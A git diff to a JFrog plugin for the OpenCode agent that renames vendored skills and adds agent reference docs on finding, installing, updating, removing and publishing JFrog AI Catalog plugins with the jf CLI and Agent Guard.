diff --git a/.github/workflows/pr-title.yml b/.github/workflows/pr-title.yml index df6a474..09d5062 100644 --- a/.github/workflows/pr-title.yml +++ b/.github/workflows/pr-title.yml @@ -17,3 +17,9 @@ jobs: - uses: amannn/action-semantic-pull-request@v5 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + # Sync PRs from jfrog-skills lead with [patch]/[minor]/[major] so the + # plugin release workflow ships on merge. Parse that prefix, then the + # conventional type (chore, feat, …). + headerPattern: '^(?:\[(?:patch|minor|major)\]\s+)?(\w*)(?:\(([\w$.\-*/ ]*)\))?: (.*)$' + headerPatternCorrespondence: type, scope, subject diff --git a/README.md b/README.md index 4bbd823..4497314 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ The JFrog plugin provides the following capabilities, grouped by component: | --- | --- | --- | | **MCP** | JFrog Platform MCP server | Registers the remote JFrog Platform MCP (`https://${JFROG_PLATFORM_URL}/mcp`, OAuth) into OpenCode's `config.mcp.jfrog`. Authenticate once with `opencode mcp auth jfrog`. Opt out with `JFROG_MCP_DISABLE=true`. | | **Skill** | JFrog Platform | Interact with Artifactory repositories, builds, permissions, users, access tokens, projects, release bundles, and platform administration via the JFrog CLI and REST/GraphQL APIs. Also covers security audits, CVE lookups, and Advanced Security exposure queries. | -| **Skill** | Package safety & download | Check whether npm, Maven, PyPI, Go, and other packages are safe, curated, or allowed, then download them through Artifactory remote caches or curation-aware package managers. | +| **Skill** | Package curation | Check whether npm, Maven, PyPI, Go, and other packages are safe, curated, or allowed, then download them through Artifactory remote caches or curation-aware package managers. | | **Skill** | Agent Guard | OpenCode manages MCPs through the JFrog Agent Guard. Discover, install, configure, update, and remove MCP servers from the JFrog AI Catalog approved for your project, and authenticate to remote HTTP MCPs via OAuth, API key, or bearer token. | The skills ship **with the plugin** (vendored and pinned) — they are **not** downloaded @@ -29,7 +29,7 @@ Before installing, make sure you have: - **JFrog host** — A [JFrog Platform](https://jfrog.com) instance you can authenticate against, exposed to the plugin as `JFROG_PLATFORM_URL` (e.g. `mycompany.jfrog.io`). The JFrog Platform MCP server authenticates via OAuth (browser sign-in). - **OpenCode** — Installed (verified against OpenCode **1.17.7** and newer, which honors `config.skills.paths` in object form). - **Node.js** (≥ 18) — with `npx` on your `PATH` (used by the Agent Guard). -- **Skill runtime requirements** — `jf` CLI, `jq`, and `curl` on `PATH`, plus a configured JFrog CLI server. For the minimum versions, see the upstream skills [`Requirements`](https://github.com/jfrog/jfrog-skills/blob/v0.22.0/README.md#requirements). Configure the CLI with `jf login` / `jf config add` — see [Authentication](#authentication). +- **Skill runtime requirements** — `jf` CLI, `jq`, and `curl` on `PATH`, plus a configured JFrog CLI server. For the minimum versions, see the upstream skills [`Requirements`](https://github.com/jfrog/jfrog-skills/blob/v0.31.1/README.md#requirements). Configure the CLI with `jf login` / `jf config add` — see [Authentication](#authentication). - **JFrog AI Catalog** (optional) — If you want to use the Agent Guard feature, your JFrog subscription needs to include the AI Catalog entitlement. Contact your JFrog account team if you're unsure whether it's enabled. - **JFrog CLI ≥ 2.105.0** (optional) — If you want the Agent Guard to auto-resolve the credentials/server ID from the JFrog CLI configuration. - **JFrog project** (optional) — If you want to use the Agent Guard feature. @@ -162,7 +162,7 @@ grouped by capability. | "Create a scoped access token for CI." | Creates an access token with the requested scope. | | "Promote this release bundle to production." | Uses Lifecycle / Distribution APIs to promote the bundle. | -### Package safety & download skill +### Package curation skill | Ask the agent… | What happens | | --- | --- | diff --git a/VENDOR.md b/VENDOR.md index 1a2af46..1015289 100644 --- a/VENDOR.md +++ b/VENDOR.md @@ -39,11 +39,12 @@ The result is a flat, committed tree: ``` skills/ jfrog/SKILL.md (+ references/ scripts/ assets/) - jfrog-package-safety-and-download/SKILL.md - jfrog-setup-package-managers/SKILL.md - jfrog-ai-catalog-skills/SKILL.md + jfrog-ai-catalog/SKILL.md + jfrog-init/SKILL.md jfrog-mcp-management/SKILL.md + jfrog-package-curation/SKILL.md jfrog-reference-architecture/SKILL.md + jfrog-setup-package-managers/SKILL.md ``` > **Note:** the exact set of skill directories is whatever the pinned `jfrog/jfrog-skills` release diff --git a/mise.toml b/mise.toml index 5c41d56..f2c6458 100644 --- a/mise.toml +++ b/mise.toml @@ -60,7 +60,7 @@ forbid() { require "dist/index.js" require "skills/jfrog/SKILL.md" -require "skills/jfrog-package-safety-and-download/SKILL.md" +require "skills/jfrog-package-curation/SKILL.md" forbid "(^|/)[^/]*-TEST-PLAN\\.md$" forbid "(^|/)[^/]*-TEST-RESULTS\\.md$" diff --git a/skills/jfrog-ai-catalog-skills/SKILL.md b/skills/jfrog-ai-catalog/SKILL.md similarity index 53% rename from skills/jfrog-ai-catalog-skills/SKILL.md rename to skills/jfrog-ai-catalog/SKILL.md index f129918..fc94f85 100644 --- a/skills/jfrog-ai-catalog-skills/SKILL.md +++ b/skills/jfrog-ai-catalog/SKILL.md @@ -1,26 +1,23 @@ --- -name: jfrog-ai-catalog-skills +name: jfrog-ai-catalog description: >- - Discover, install, manage, and publish agent skills hosted in the JFrog AI - Catalog (Artifactory skills repositories) using the JFrog CLI (`jf skills`) - and the JFrog Agent Guard. Lists and searches available skills (catalog-wide - or scoped to a project), shows a skill's versions and which repos host it, - installs the latest or a pinned version, verifies the install, lists - installed skills, updates and removes them, and publishes (uploads) a local - skill bundle and releases new versions. - Use when the user asks what skills are available or installed, to - search/browse the catalog, to install/update/uninstall a skill, to see a - skill's versions, or to publish/upload/release a skill to JFrog / - Artifactory / the AI Catalog. + Discover, search, install, update, remove, and publish agent skills and + plugins hosted in the JFrog AI Catalog (Artifactory) via the JFrog CLI + (`jf skills`, `jf agent plugins`) and JFrog Agent Guard. Use whenever the + user asks what skills or plugins are available or installed, wants to + browse/search the catalog, see versions, install/update/uninstall/delete a + skill or plugin, or publish/upload/release one to JFrog / Artifactory / the + AI Catalog. metadata: role: workflow --- -# JFrog AI Catalog Skills +# JFrog AI Catalog -Discover, install, and manage agent skills from the JFrog AI Catalog -(Artifactory skills repositories), and publish your own skills back to it, all -through the JFrog CLI (`jf skills`) and the JFrog Agent Guard. +Discover, install, and manage agent skills and agent plugins from the JFrog AI +Catalog (Artifactory skills/plugins repositories), and publish your own back to +it, all through the JFrog CLI (`jf skills`, `jf agent plugins`) and the JFrog +Agent Guard. ## Choose a reference file @@ -32,6 +29,10 @@ Pick the row matching the user's intent and read that reference file. | Install or update a skill (latest or a pinned version), or a download is blocked | [references/installing-skills.md](references/installing-skills.md) | | "What's installed?" / remove an installed skill | [references/managing-installed-skills.md](references/managing-installed-skills.md) | | Publish / upload / release a skill to the catalog | [references/publishing-skills.md](references/publishing-skills.md) | +| "What plugins are available?" / browse the plugin catalog / list plugin versions / search plugins | [references/discovering-plugins.md](references/discovering-plugins.md) | +| Install or update a plugin (latest or a pinned version) | [references/installing-plugins.md](references/installing-plugins.md) | +| "What plugins are installed?" / remove an installed plugin | [references/managing-installed-plugins.md](references/managing-installed-plugins.md) | +| Publish / upload / release a plugin to the catalog | [references/publishing-plugins.md](references/publishing-plugins.md) | ## Prerequisites @@ -43,6 +44,12 @@ Pick the row matching the user's intent and read that reference file. - The [server selection rules](../jfrog/SKILL.md#server-selection-rules-mandatory) — resolve the default `` once and reuse it, pass `--server-id ` after the subcommand on every `jf` call, and use one server per request. + **Resolve it now, before any `jf` call:** + ```bash + jf config show 2>/dev/null \ + | awk '/^Server ID:/{id=$NF} /^Default:[[:space:]]*true/{print id; exit}' + # stdout: the default server-id; if empty, stop and ask which server to use + ``` - The stop-on-error rule — on any `jf` failure, stop and never switch servers. One addition specific to this skill: never `cat` or parse @@ -57,16 +64,30 @@ Pick the row matching the user's intent and read that reference file. as your `jf` calls. Agent Guard also reads `JFROG_URL` / `JF_URL` directly when set, so make sure the `` you resolved points at that same host. - **Resolve the project (``) only when needed.** - It is required for `--list-skills`, `--list-skill-versions`, and - `--provision-skills-repository`. Take it from `JF_PROJECT` or the user. + It is required for `--list-skills`, `--list-skill-versions`, + `--provision-skills-repository`, `--list-agent-plugins`, + `--list-agent-plugin-versions`, and `--provision-agent-plugins-repository`. + Resolve it with this priority: + 1. Parse `~/.jfrog/setup.json` (if present) and read `.servers[""].currentActiveProject`. + 2. Fall back to `$JF_PROJECT`. + 3. If still empty, ask the user for the project key - do **not** guess. + + ```bash + PROJECT=$(jq -r --arg sid "" '.servers[$sid].currentActiveProject // empty' \ + ~/.jfrog/setup.json 2>/dev/null) + [ -z "$PROJECT" ] && PROJECT="${JF_PROJECT:-}" + ``` There is no non-admin way to look up or validate project keys (the `/access/api/v1/projects` list endpoint needs admin), so you cannot silently correct a display name to a key. If the value looks like a display name (spaces, mixed case) rather than a short slug, ask the user to confirm the project **key** specifically. Never assume `default`, never invent one. Install, update, remove, and publishing to - an explicit `--repo` are keyed by skill **name** and/or **repo**, not a - project. + an explicit `--repo` are keyed by skill/plugin **name** and/or **repo**, + not a project. +- **Bundle manifests differ by type.** Skill bundles require `SKILL.md` + in the bundle root; plugin bundles require `plugin.json`. Validate the + correct file before installing or publishing. ## Workflow overview @@ -76,10 +97,14 @@ flowchart TD B -->|No| C[Ask user to install jf CLI, then continue] B -->|Yes| D{Intent} C --> D - D -->|List all / versions| E[npx @jfrog/agent-guard --list-skills] - D -->|Install / update| F[Resolve slug + version, then jf skills install/update] - D -->|List installed / remove| G[jf skills list / rm -rf install dir] - D -->|Publish| H[Resolve/provision repo, validate bundle, jf skills publish] + D -->|List all skills / versions| E[npx @jfrog/agent-guard --list-skills] + D -->|Install / update skill| F[Resolve slug + version, then jf skills install/update] + D -->|List installed skills / remove| G[jf skills list / rm -rf install dir] + D -->|Publish skill| H[Resolve/provision repo, validate bundle, jf skills publish] + D -->|List all plugins / versions| I[npx @jfrog/agent-guard --list-agent-plugins] + D -->|Install / update plugin| J[Resolve slug + version, then jf agent plugins install/update] + D -->|List installed plugins / remove| K[jf agent plugins list / rm -rf install dir] + D -->|Publish plugin| L[Resolve/provision repo, validate bundle, jf agent plugins publish] ``` ## Gotchas @@ -100,3 +125,6 @@ the reference files above. - **Use the response templates verbatim**: where a reference file gives a "reply using this exact template" block, fill the placeholders and send exactly that, with the same wording every time and no extra preamble or commentary. +- **Plugins have no Xray support**: skip all Xray-related handling (no 403 + gating on download, no inline scan on publish, no `--skip-scan` flag) when + performing any `jf agent plugins` operation. diff --git a/skills/jfrog-ai-catalog/references/discovering-plugins.md b/skills/jfrog-ai-catalog/references/discovering-plugins.md new file mode 100644 index 0000000..8aed8a3 --- /dev/null +++ b/skills/jfrog-ai-catalog/references/discovering-plugins.md @@ -0,0 +1,83 @@ +# Discovering plugins + +List-all and versions go through the **Agent Guard**. + +## List plugins (page through the catalog) + +```bash +npx --yes --registry @jfrog/agent-guard \ + --list-agent-plugins --project "" [--name ] [--server ""] [--page-size ] [--cursor ] [--format json] +``` + +| Flag | Required | Purpose | +|------|----------|---------| +| `--project ` | **Yes** | AI Catalog project to list. | +| `--name ` | No | Find plugins by name: server-side, case-insensitive substring, scoped to the project. | +| `--server ` | No | jf CLI config entry to authenticate with (defaults to the resolved single server). | +| `--page-size ` | No | Results per page. Pass `50` to stay bounded. The Agent Guard defaults to 500 if omitted. | +| `--cursor ` | No | Continuation cursor from a previous page's JSON, to fetch the next page. | +| `--format json` | No | Raw page JSON instead of the default compact TSV (name + last-updated). | + +Request a bounded page with `--page-size 50 --format json`, present those plugins, +then read `exhausted` and `cursor` from the response. If `exhausted` is `false` +there are more. Tell the user and offer to fetch the next page with +`--cursor `. Do not silently page through the whole catalog. + +**Presenting results (use this exact format).** Render the plugins as this table, +sorted by name, and nothing else (no commands, URLs, flags, or cursors): + +| Plugin | Last updated | +|--------|-------------| +| `` | `` | + +For a `--name` search with no matches, reply with one line instead: + +> No plugins match "``". + +To offer a follow-up (a plugin's versions or repos), ask in plain language +("want the versions for one of these?") and run the command yourself. + +## List a repo's plugins + +To see what is published in one specific plugins repository (for example, to check +a repo before or after publishing to it), list it directly with the CLI. This is +repo-scoped (Artifactory registry contents), unlike `--list-agent-plugins`, which is +project-scoped: + +```bash +jf agent plugins list --repo "" --server-id "" --format json +``` + +Never run a bare `jf agent plugins list` (it errors): always pass `--repo ` here, or +`--harness ` for installed plugins (see `managing-installed-plugins.md`). + +**Presenting results (use this exact format).** Render the plugins as this table, +sorted by name, and nothing else (no commands, URLs, or flags): + +Plugins in ``: + +| Plugin | Version | Description | +|--------|---------|-------------| +| `` | `` | `` | + +Include the **Description** column only when the listing provides one (drop it if +every plugin's description is empty). If the repo holds no plugins, reply with one +line instead: + +> No plugins published in ``. + +## A plugin's versions and hosting repos + +```bash +npx --yes --registry @jfrog/agent-guard \ + --list-agent-plugin-versions --project "" --agent-plugin "" [--server ""] [--page-size ] [--cursor ] [--format json] +# JSON: versions[].version, versions[].locations[].repoKey (page through with cursor like above) +``` + +**Presenting versions (use this exact format).** Newest version first: + +Versions of ``: + +| Version | Hosted in | +|---------|-----------| +| `` | ``[, ``…] | diff --git a/skills/jfrog-ai-catalog-skills/references/discovering-skills.md b/skills/jfrog-ai-catalog/references/discovering-skills.md similarity index 100% rename from skills/jfrog-ai-catalog-skills/references/discovering-skills.md rename to skills/jfrog-ai-catalog/references/discovering-skills.md diff --git a/skills/jfrog-ai-catalog/references/installing-plugins.md b/skills/jfrog-ai-catalog/references/installing-plugins.md new file mode 100644 index 0000000..b3f38e3 --- /dev/null +++ b/skills/jfrog-ai-catalog/references/installing-plugins.md @@ -0,0 +1,140 @@ +# Installing and updating plugins + +Install and update both download from the registry, so they share the same +`--repo`/`--quiet` rules and verify-landed check. + +## Contents + +- When evidence verification fails +- Verify the install landed +- Update an installed plugin + +Install by **slug** (the registry `slug`/`name`, never a display name). Latest +version is used by default, and the user may pass an explicit version. +**The `jf agent plugins install` command takes no project.** Resolving which repo hosts +the slug uses `--list-agent-plugin-versions` (below), which does require `--project`, so +use `` resolved at session start (see SKILL.md Prerequisites). + +```bash +jf agent plugins install "" \ + --server-id "" \ + --version "latest" \ + --repo "" \ + --harness "" \ + --quiet +``` + +**Always pass `--quiet`.** `jf agent plugins install`/`update` opens an interactive +prompt by default, and an agent's shell has no TTY, so without `--quiet` the +prompt fails. `--quiet` also defaults to `$CI`, so exporting `CI=true` has the +same effect if the flag is ever unavailable. Run non-interactively and resolve +every choice (`--repo`, target) up front. + +**Resolve `` from the environment check script — never from your model +name.** If `` is not already known from this session, run +`bash /../jfrog/scripts/check-environment.sh ` now and capture +its stdout as ``. Parse the `tool=` field from `` and map it to a +`jf` harness name: + +| `tool=` value in `` | `--harness` for `jf agent plugins` | +|-------------------------|-------------------------------------| +| `claude` | `claude` | +| `cursor` | `cursor` | +| `copilot` | `vscode` | +| `unknown`, empty, or any other | Ask the user | + +If `tool` is `unknown`, empty, or not in the table — do **not** guess. Ask +the user for the desired install path and use `--path ` instead. + +Choose exactly one install target (these are mutually exclusive): + +| Flag | Installs into | +|------|---------------| +| `--harness ` | The current agent's resolved plugins dir (resolve per above, e.g. `cursor`, `claude`). | +| `--global` | Each agent's global directory from config. | +| `--project-dir ` | Project root combined with the agent's project path. | +| `--path ` | Direct: files go under `/`. | + +**Always resolve and pass `--repo`.** When the platform has more than one plugins +repository (the common case), `jf agent plugins install` errors with +`multiple plugins repositories found … specify --repo` if you omit it, even when +the plugin lives in only one repo. So **the first install step is always** to look +up where the slug is hosted with the Agent Guard: + +```bash +npx --yes --registry @jfrog/agent-guard \ + --list-agent-plugin-versions --project "" --agent-plugin "" [--server ""] --format json +# read versions[].version and versions[].locations[].repoKey +``` + +**Resolve the repo and version only via `--list-agent-plugin-versions`.** The catalog +listing (`--list-agent-plugins`, even with `--name`) returns just names, not repos or +versions, so use the versions call above to pick the repo, never a name listing. + +- **One repo hosts the slug.** Use it as `--repo ` directly. Don't ask. +- **Multiple repos host the slug.** Do not pick silently. List the repos (and + the version each holds), ask the user which to install from, then pass + `--repo `. The newest version may only exist in one of them, so + surface that to avoid giving the user a stale version. + +## When evidence verification fails + +If install fails with `evidence verification failed … no evidence found`, the +plugin has **no signed evidence/attestation** (proof it's genuine and scanned). +This is a security control. **Do not silently bypass it.** Stop and ask using +**this exact template**: + +> `@` has no signed evidence (proof it is genuine and scanned). +> Installing it skips that security check. Do you want to install it anyway? + +Only if the user explicitly agrees, re-run with +`JFROG_AGENT_PLUGINS_DISABLE_QUIET_FAILURE=true`. Never set that flag on your own. + +## Verify the install landed + +After install, confirm the slug shows up as installed — don't guess where +`plugin.json` lives inside the bundle (layout isn't guaranteed, see +*Validate the bundle* in `publishing-plugins.md`). `jf agent plugins list` is +the source of truth for what's actually installed: + +```bash +jf agent plugins list --server-id "" --harness "" --format json \ + | jq -e --arg slug "" '.[] | select(.name == $slug)' >/dev/null \ + && echo "installed" || echo "MISSING from installed list" +``` + +If the slug is missing, report the failure. Do not claim success. + +On success, reply using **this exact template**: + +> Installed `@` from `` into ``. +> Restart your agent session to load it. + +## Update an installed plugin + +To upgrade an installed plugin to a newer version, use the CLI (it re-downloads +and reinstalls in place): + +```bash +jf agent plugins update --slug "" --server-id "" --harness "" --version "latest" --quiet +# Preview without touching Artifactory: +jf agent plugins update --slug "" --server-id "" --harness "" --dry-run +# Reinstall even if already at the target version: +jf agent plugins update --slug "" --server-id "" --harness "" --force --quiet +# Update all installed plugins at once: +jf agent plugins update --all --server-id "" --harness "" --quiet +``` + +Note: unlike `jf skills update`, the slug is passed as `--slug ` (a named +flag), not as a positional argument. Use the same install-target flag +(`--harness`/`--global`/`--project-dir`/`--path`) the plugin was installed with. +After updating, re-verify the `plugin.json` (see *Verify the install landed* above). + +On success, reply using **this exact template**: + +> Updated `` to `` (``). +> Restart your agent session to load it. + +If the plugin was already current: + +> `` is already at the latest version (``). Nothing to update. diff --git a/skills/jfrog-ai-catalog-skills/references/installing-skills.md b/skills/jfrog-ai-catalog/references/installing-skills.md similarity index 90% rename from skills/jfrog-ai-catalog-skills/references/installing-skills.md rename to skills/jfrog-ai-catalog/references/installing-skills.md index d591aee..5566250 100644 --- a/skills/jfrog-ai-catalog-skills/references/installing-skills.md +++ b/skills/jfrog-ai-catalog/references/installing-skills.md @@ -15,7 +15,7 @@ Install by **slug** (the registry `slug`/`name`, never a display name). Latest version is used by default, and the user may pass an explicit version. **The `jf skills install` command takes no project.** Resolving which repo hosts the slug uses `--list-skill-versions` (below), which does require `--project`, so -resolve it (from `JF_PROJECT`, else ask the user) before that lookup. +use `` resolved at session start (see SKILL.md Prerequisites). ```bash jf skills install "" \ @@ -37,13 +37,21 @@ defaults to `$CI`, so exporting `CI=true` has the same effect if the flag is eve unavailable. Run non-interactively and resolve every choice (`--repo`, target) up front. -**Resolve `` from the host you are running in. Never take it from your -model name, and never hardcode it.** Get the valid names from the CLI: run -`jf skills list --harness '?'` to print the -`Supported agents:` table, then install into the row for your host. Identify the -host from its environment. For example, `CURSOR_*` → `cursor`, -`CLAUDECODE` → `claude-code`, VS Code / GitHub Copilot → `github-copilot`. If -nothing identifies the host, ask the user. Never assume. +**Resolve `` from the environment check script — never from your model +name.** If `` is not already known from this session, run +`bash /../jfrog/scripts/check-environment.sh ` now and capture +its stdout as ``. Parse the `tool=` field from `` and map it to a +`jf` harness name: + +| `tool=` value in `` | `--harness` for `jf skills` | +|-------------------------|------------------------------| +| `claude` | `claude-code` | +| `cursor` | `cursor` | +| `copilot` | `github-copilot` | +| `unknown`, empty, or any other | Ask the user | + +If `tool` is `unknown`, empty, or not in the table — do **not** guess. Ask +the user for the desired install path and use `--path ` instead. Choose exactly one install target (these are mutually exclusive): diff --git a/skills/jfrog-ai-catalog/references/managing-installed-plugins.md b/skills/jfrog-ai-catalog/references/managing-installed-plugins.md new file mode 100644 index 0000000..f510ddc --- /dev/null +++ b/skills/jfrog-ai-catalog/references/managing-installed-plugins.md @@ -0,0 +1,103 @@ +# Managing installed plugins + +## List currently installed plugins + +A plugin can be installed in two separate places: the **project/harness** location +and the **global** location. For a full inventory, always run **both** lists and +present the union, not just the first: + +```bash +# Project/harness install (the default target) +jf agent plugins list --server-id "" --harness "" --format json +# Global install (a separate location, always check it too) +jf agent plugins list --server-id "" --harness "" --global --format json +# Add --check-updates to compare installed versions against the registry +jf agent plugins list --server-id "" --harness "" --check-updates +``` + +Resolve `` to the current agent (see `installing-plugins.md`). +**Never run a bare `jf agent plugins list`** because it errors. Always pass +`--harness ` (installed plugins) or `--repo ` (registry contents). +`--check-updates` is only supported with `--harness` (not with `--repo`). Merge +the project and global results and drop duplicates before presenting. This lists +only plugins installed from the AI Catalog with `jf agent plugins install`, not +plugin-bundled or built-in agent plugins. + +**Presenting installed plugins (use this exact format):** + +Installed plugins (``): + +| Plugin | Version | Description | +|--------|---------|-------------| +| `` | `` | `` | + +Include the **Description** column only when the listing provides one (drop it if +every plugin's description is empty). With `--check-updates`, add an **Update to** +column (``, or `-` when the plugin is already current). To upgrade a +plugin, see *Update an installed plugin* in `installing-plugins.md`. + +## Remove a plugin + +**Confirm before removing.** Show exactly what will be removed using **this exact +template** and wait for an explicit "yes": + +> Removing plugin `` deletes its local install from ``. Do you want to remove it? + +There is no `jf agent plugins uninstall`. Use a two-step approach: try the +harness-native CLI first, fall back to deleting the local files if unavailable. + +### Step 1: try harness-native uninstall + +Some harnesses register plugins in their own registry — deleting files alone leaves +a dangling entry. Before falling back to step 2, probe whether the harness exposes +a native plugin CLI: + +The `--harness` value is the CLI binary name directly (e.g. `claude`, `cursor`). + +```bash + plugin --help 2>/dev/null || plugins --help 2>/dev/null +``` + +If a plugin management CLI is found, use it to look up and uninstall the slug. If +not (command not found or exits non-zero with no useful output), skip to step 2. + +**claude** is the currently known example. It tracks plugins with ID +`@`. A slug can be installed from more than one repo at once, so +the lookup can return more than one ID — never pass a multi-line result +straight into one uninstall call. + +```bash +# Look up the registered ID(s) in claude's registry +IDS=$(claude plugin list --json 2>/dev/null \ + | jq -r '.[] | select(.id | startswith("@")) | .id') +``` + +- **One match.** Use it directly. +- **More than one match.** List them and ask the user which repo's copy to + remove before uninstalling — do not guess or loop over all of them. + +```bash +# Uninstall (-y required: no TTY in agent context) +claude plugin uninstall "$ID" --prune -y +``` + +### Step 2: fallback — delete local files + +If native uninstall is unavailable or returned no match for the slug. + +Plugins are installed under `///`. Delete the plugin +folder, then remove the parent repo directory if it is now empty: + +```bash +if [ -d "//" ]; then + rm -rf "//" + rmdir "/" 2>/dev/null || true +else + echo "Not installed, nothing to remove" +fi +``` + +On success, reply using **this exact template**: + +> Removed `` from ``. +> Restart your agent session for the removal to take effect. diff --git a/skills/jfrog-ai-catalog-skills/references/managing-installed-skills.md b/skills/jfrog-ai-catalog/references/managing-installed-skills.md similarity index 100% rename from skills/jfrog-ai-catalog-skills/references/managing-installed-skills.md rename to skills/jfrog-ai-catalog/references/managing-installed-skills.md diff --git a/skills/jfrog-ai-catalog/references/publishing-plugins.md b/skills/jfrog-ai-catalog/references/publishing-plugins.md new file mode 100644 index 0000000..53d3ba0 --- /dev/null +++ b/skills/jfrog-ai-catalog/references/publishing-plugins.md @@ -0,0 +1,199 @@ +# Publishing a plugin + +Publishing is mutating, so **always confirm the target repository and the plugin +name with the user before publishing**. Resolve the repo and read the name from +the bundle, then show both and wait for an explicit "yes". Never publish on the +initial request alone, and never auto-pick a repo without surfacing it first. + +## Contents + +- Resolve the target repository +- Validate the bundle +- Sign the plugin (evidence) +- Publish +- Report the publish result + +## Resolve the target repository + +Publish targets an Artifactory **repository** (`--repo`), not a JFrog project, +and there is no `--project` flag on `jf agent plugins publish`. Resolve `` +in this order: + +1. **User named a repo up front.** Use it directly as `` and skip + provisioning. An explicit user-named repo always wins. + +2. **No repo given. Provision the project's plugins repository.** Use Agent + Guard to create (or resolve, if it already exists) the project's local plugins + repo, then publish to the returned key. This needs `` (resolve it per + *Prerequisites* in `../SKILL.md`, asking only if it is unknown): + +```bash +npx --yes --registry @jfrog/agent-guard \ + --provision-agent-plugins-repository --project "" [--server ""] [--format json] +``` + + It prints the bare repo key (or `{"repoKey":""}` with `--format json`). + Use that as ``, then **show the user the provisioned repo and the plugin + name and wait for confirmation** before publishing (see *Confirm before + publishing*). Do not publish to it silently. + +3. **Provisioning failed. Stop and ask the user which repo to use.** Do not + retry in a loop. Publishing is mutating, so you must get an explicit repo from + the user here. This is the one case where you do ask before publishing. + + First list the existing plugins repos: + +```bash +jf api '/artifactory/api/repositories?packageType=plugins&type=local' \ + --server-id "" 2>/dev/null | jq -r '.[].key' +``` + + Then **wait for the user to pick one** (by name). If the command printed one or + more repos, reply in **this exact format**, sorted by name, one row per key, and + nothing else: + + Provisioning a plugins repository for project `` on `` failed, so + pick an existing repository to publish `` to: + + | Repository | + |------------| + | `` | + + If the command printed nothing (no plugins repos on the server), reply with one + line instead, filling `` with the provisioning error: + + > No plugins repositories on `` to publish to (provisioning failed: ``). Tell me a repository to use, or ask me to retry. + + **Never auto-select a repo, even if one exists whose name matches the + project.** A name match is not consent. Do not publish to any repo the user did + not explicitly choose. Never guess a repo. + +## Validate the bundle + +`jf agent plugins publish ""` resolves and validates `plugin.json` itself +— don't reimplement that check (e.g. requiring `plugin.json` at ``'s root) +since that may not match what the CLI actually accepts. Let the CLI be the +source of truth for what counts as a valid bundle; use the last path segment of +`` as a best-effort `` label for the confirmation prompt below. + +If publish fails because the bundle is invalid, don't guess the reason — report +the CLI's own error (see *Report the publish result*). + +## Sign the plugin (evidence) + +Signing attaches a cryptographic attestation so the plugin **installs without an +evidence-verification warning** (see *When evidence verification fails* in +`installing-plugins.md`). It is **opt-in**. Never generate keys or sign silently, +and never echo, print, or hardcode the key path or its contents. + +**Ask the user how to sign before doing anything else.** Do **not** inspect, echo, +or probe the signing environment variables up front. Only look at them if the user +picks the environment option below. Use the table below as your own reference. Do +not paste it into the chat. Ask the user to pick one option, **prefer signing**, +and keep **publish unsigned** last: + +| Option | What it needs | When to use | +|--------|---------------|-------------| +| **Provide an existing key** | a **PEM private key path** + **key alias** (its public key already trusted), passed as `--signing-key`/`--key-alias` | the user already has a key | +| **Read from the environment** | `EVD_SIGNING_KEY_PATH` (PEM private key path) + `EVD_KEY_ALIAS` (trusted alias) already exported, picked up with no flags | a signer is already configured in the shell/CI | +| **Generate one now** | run `jf evd gen-keys` (needs **admin** to upload the public key) | no signer exists yet, user runs it or asks you to | +| **Publish unsigned** | nothing | installers hit the evidence warning, least preferred | + +**Ask for the key in the same prompt.** Let the user give the PEM private key path +and key alias in that answer, so **Provide an existing key** needs no follow-up. +Ask again only if they picked it but left the path or alias blank. + +For **Read from the environment**, check both vars are set. If either is missing, +ask the user to export both and retry instead of failing the publish. + +Precedence: an explicit `--signing-key`/`--key-alias` wins. Without it, +`jf agent plugins publish` falls back to `EVD_SIGNING_KEY_PATH`/`EVD_KEY_ALIAS`. +With neither, the publish is unsigned. + +To generate a key pair and register its public key in one step: + +```bash +jf evd gen-keys --key-alias "" \ + --key-file-path "" --server-id "" +# writes /evidence.key (private) + /evidence.pub, uploads the +# public key as a trusted key under +``` + +The key must be a **PEM private key**. Despite `--help` saying "PGP", an armored +PGP key fails with `failed to decode the data as PEM block`. `jf evd gen-keys` +produces the right format. + +## Confirm before publishing + +Once `` is resolved and the bundle validated, **show the user what will be +published and wait for an explicit confirmation**. Reply using this exact template +and do not run `jf agent plugins publish` until the user agrees: + + > Publishing plugin `` uploads it to repository `` on server ``. Do you want to publish it? + +Never combine this final confirmation step with the previous signing step into one prompt. + +If the user says no or names a different repo/name, use that instead and confirm +again. Only proceed to *Publish* after an explicit "yes". + +## Publish + +Publish to the resolved ``. When `--version` is omitted, the CLI uses the +version from `plugin.json`. Only pass `--version` to override with an explicit +semver the user provides; `latest` is not valid. Do not ask the user for a version. +Pass `--signing-key`/`--key-alias` only when signing with an explicit key the +user provided or generated. Omit them when relying on +`EVD_SIGNING_KEY_PATH`/`EVD_KEY_ALIAS` from the environment, or when publishing +unsigned. + +```bash +jf agent plugins publish "" \ + --server-id "" \ + --repo "" \ + --quiet \ + [--version ""] \ + [--signing-key "" --key-alias ""] \ + [--build-name "" --build-number ""] +``` + +Useful flags (verify with `jf agent plugins publish --help`): + +| Flag | Purpose | +|------|---------| +| `--repo` | Target Artifactory repository key. **Required.** | +| `--version` | Explicit semver override (e.g. `1.2.0`). Omit to use the version in `plugin.json`. | +| `--signing-key` | Path to the PEM private key for evidence signing (overrides `EVD_SIGNING_KEY_PATH`). | +| `--key-alias` | Alias of the signer's trusted public key (overrides `EVD_KEY_ALIAS`). | +| `--build-name` / `--build-number` | Optional: record build info for this publish. Both must be provided together. | +| `--module` | Optional module name for the build-info (requires `--build-name`/`--build-number`). | +| `--quiet` | Skip interactive prompts (also defaults to `$CI`). | + +To release a new version, bump the version in `plugin.json` and publish again. Each +publish adds a new version. + +**On a version conflict** (publish fails with `version ... already exists`): +the CLI's `[o] Overwrite` prompt is interactive-only (`--quiet`/CI aborts), so it +cannot be answered from here. Use the table below as your own reference. Do not +paste it into the chat. Ask the user to pick one option, filling `` with the +existing version and `` with the next patch (for example `3.0.0` to `3.0.1`): + +| Option | Action | +|--------|--------| +| **Overwrite** | Run `jf agent plugins delete "" --version "" --repo "" --server-id ""`, then re-run the publish unchanged. | +| **Publish as a new version** | Re-run the publish with `--version ` (the user's semver, or ``). | +| **Abort** | Stop and report that nothing was published. | + +## Report the publish result + +- **Success.** Reply using **this exact template**: + + > Published `@` to `` on ``. + +- **Other failure.** Reply using **this exact template**, quoting the CLI error + verbatim in ``: + + > Publishing `` to `` on `` failed: ``. + + On 401/403/404, follow the stop-on-error rule from the base `jfrog` skill + (see *Prerequisites* in `../SKILL.md`): stop and do not retry against a + different configured server. diff --git a/skills/jfrog-ai-catalog-skills/references/publishing-skills.md 